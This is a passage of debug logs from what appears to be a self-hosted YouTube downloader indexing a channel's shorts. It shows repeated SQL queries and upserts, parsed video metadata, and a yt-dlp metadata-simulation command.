s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 19:52:27.785 [debug] QUERY OK source="sources" db=0.1ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:27.785 [debug] QUERY OK source="media_items" db=0.2ms idle=1003.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 19:08:53Z], 1] 19:52:27.786 [debug] QUERY OK source="media_items" db=0.5ms idle=32.7ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "9c9e1035-d3fb-45a5-91cc-e3f15ec12d2b", "SpwLvxDOkYU", 180, false, "https://www.youtube.com/shorts/SpwLvxDOkYU", 6, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 19:08:53Z], ~U[2026-08-20 02:52:27Z], ~U[2026-08-20 02:52:27Z], "", "Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "SpwLvxDOkYU", 180, false, "https://www.youtube.com/shorts/SpwLvxDOkYU", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", true, 1, ~U[2025-06-05 19:08:53Z]] 19:52:27.787 [debug] QUERY OK source="sources" db=0.1ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:27.787 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:52:27.787 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [6] 19:52:27.787 [debug] Current batch of media processed. Will check again in 1000ms 19:52:28.788 [debug] Current batch of media processed. Will check again in 1000ms 19:52:29.790 [debug] Current batch of media processed. Will check again in 1000ms 19:52:30.791 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", "id" => "05-_ewx1Im8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/05-_ewx1Im8", "playlist_index" => 7, "timestamp" => 1749149590, "title" => "Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "upload_date" => "20250605"} 19:52:30.792 [debug] QUERY OK source="sources" db=0.2ms idle=1009.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 19:52:30.792 [debug] QUERY OK source="sources" db=0.1ms idle=1009.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:30.792 [debug] QUERY OK source="media_items" db=0.1ms idle=1010.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:53:10Z], 1] 19:52:30.794 [debug] QUERY OK source="media_items" db=0.5ms idle=1010.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "ef612b33-fbb2-4d4e-a319-74b42789024e", "05-_ewx1Im8", 180, false, "https://www.youtube.com/shorts/05-_ewx1Im8", 7, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:53:10Z], ~U[2026-08-20 02:52:30Z], ~U[2026-08-20 02:52:30Z], "", "Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "05-_ewx1Im8", 180, false, "https://www.youtube.com/shorts/05-_ewx1Im8", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", true, 1, ~U[2025-06-05 18:53:10Z]] 19:52:30.794 [debug] QUERY OK source="sources" db=0.1ms idle=37.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:30.794 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:52:30.795 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7] 19:52:30.795 [debug] Current batch of media processed. Will check again in 1000ms 19:52:31.796 [debug] Current batch of media processed. Will check again in 1000ms 19:52:32.797 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", "id" => "tNwYciwExDA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/tNwYciwExDA", "playlist_index" => 8, "timestamp" => 1749148677, "title" => "Demons. Pt.3", "upload_date" => "20250605"} 19:52:32.798 [debug] QUERY OK source="sources" db=0.3ms idle=38.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 19:52:32.798 [debug] QUERY OK source="sources" db=0.1ms idle=15.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:32.798 [debug] QUERY OK source="media_items" db=0.1ms idle=16.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:37:57Z], 1] 19:52:32.799 [debug] QUERY OK source="media_items" db=0.5ms idle=16.7ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.3", "7097ffe2-3e91-458c-bdf7-f1ed8e063a59", "tNwYciwExDA", 180, false, "https://www.youtube.com/shorts/tNwYciwExDA", 8, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:37:57Z], ~U[2026-08-20 02:52:32Z], ~U[2026-08-20 02:52:32Z], "", "Demons. Pt.3", "tNwYciwExDA", 180, false, "https://www.youtube.com/shorts/tNwYciwExDA", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", true, 1, ~U[2025-06-05 18:37:57Z]] 19:52:32.800 [debug] QUERY OK source="sources" db=0.2ms idle=17.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:32.800 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:52:32.800 [debug] QUERY OK source="media_items" db=0.2ms idle=2.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [8] 19:52:32.801 [debug] Current batch of media processed. Will check again in 1000ms 19:52:33.801 [debug] Current batch of media processed. Will check again in 1000ms 19:52:34.802 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", "id" => "OUprsxG35FQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/OUprsxG35FQ", "playlist_index" => 9, "timestamp" => 1749147966, "title" => "Demons. Pt.2", "upload_date" => "20250605"} 19:52:34.803 [debug] QUERY OK source="sources" db=0.3ms idle=41.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 19:52:34.803 [debug] QUERY OK source="sources" db=0.2ms idle=21.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:34.804 [debug] QUERY OK source="media_items" db=0.2ms idle=21.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:26:06Z], 1] 19:52:34.804 [debug] QUERY OK source="media_items" db=0.4ms idle=21.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.2", "e1bd3693-c174-4994-b881-5ddbc9a270b2", "OUprsxG35FQ", 180, false, "https://www.youtube.com/shorts/OUprsxG35FQ", 9, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:26:06Z], ~U[2026-08-20 02:52:34Z], ~U[2026-08-20 02:52:34Z], "", "Demons. Pt.2", "OUprsxG35FQ", 180, false, "https://www.youtube.com/shorts/OUprsxG35FQ", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", true, 1, ~U[2025-06-05 18:26:06Z]] 19:52:34.805 [debug] QUERY OK source="sources" db=0.1ms idle=22.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:34.805 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:52:34.805 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9] 19:52:34.806 [debug] Current batch of media processed. Will check again in 1000ms 19:52:35.806 [debug] Current batch of media processed. Will check again in 1000ms 19:52:36.807 [debug] Current batch of media processed. Will check again in 1000ms 19:52:37.248 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@MichaelSukutJesus --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Michael Sukut/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/3d/c4/3dc4ab6cde1776c925979227fb712e8bbb9918380a518428b33a559b3dd63322.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/56/a8/56a84c7bd12c86959686dd92085acdfd7a16e05cec44d6897e1b27b37f764c04.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:52:37.249 [debug] Gracefully stopping file follower 19:52:37.249 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=485.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 19:52:37.250 [debug] QUERY OK source="sources" db=0.2ms idle=467.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:37.250 [debug] QUERY OK source="media_items" db=0.2ms idle=468.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 21:21:02Z], 1] 19:52:37.251 [debug] QUERY OK source="media_items" db=0.5ms idle=468.5ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.10", "250ce9f1-16ed-4bdf-8f9d-a3eb6de178cc", "BSkDL35jiAY", 180, false, "https://www.youtube.com/shorts/BSkDL35jiAY", 1, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 21:21:02Z], ~U[2026-08-20 02:52:37Z], ~U[2026-08-20 02:52:37Z], "", "Demons. Pt.10", "BSkDL35jiAY", 180, false, "https://www.youtube.com/shorts/BSkDL35jiAY", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", true, 1, ~U[2025-06-05 21:21:02Z]] 19:52:37.252 [debug] QUERY OK source="sources" db=0.2ms idle=469.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:52:37.252 [debug] QUERY OK source="media_items" db=0.1ms idle=2.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:59:08Z], 1] 19:52:37.253 [debug] QUERY OK source="media_items" db=0.6ms idle=2.2ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the 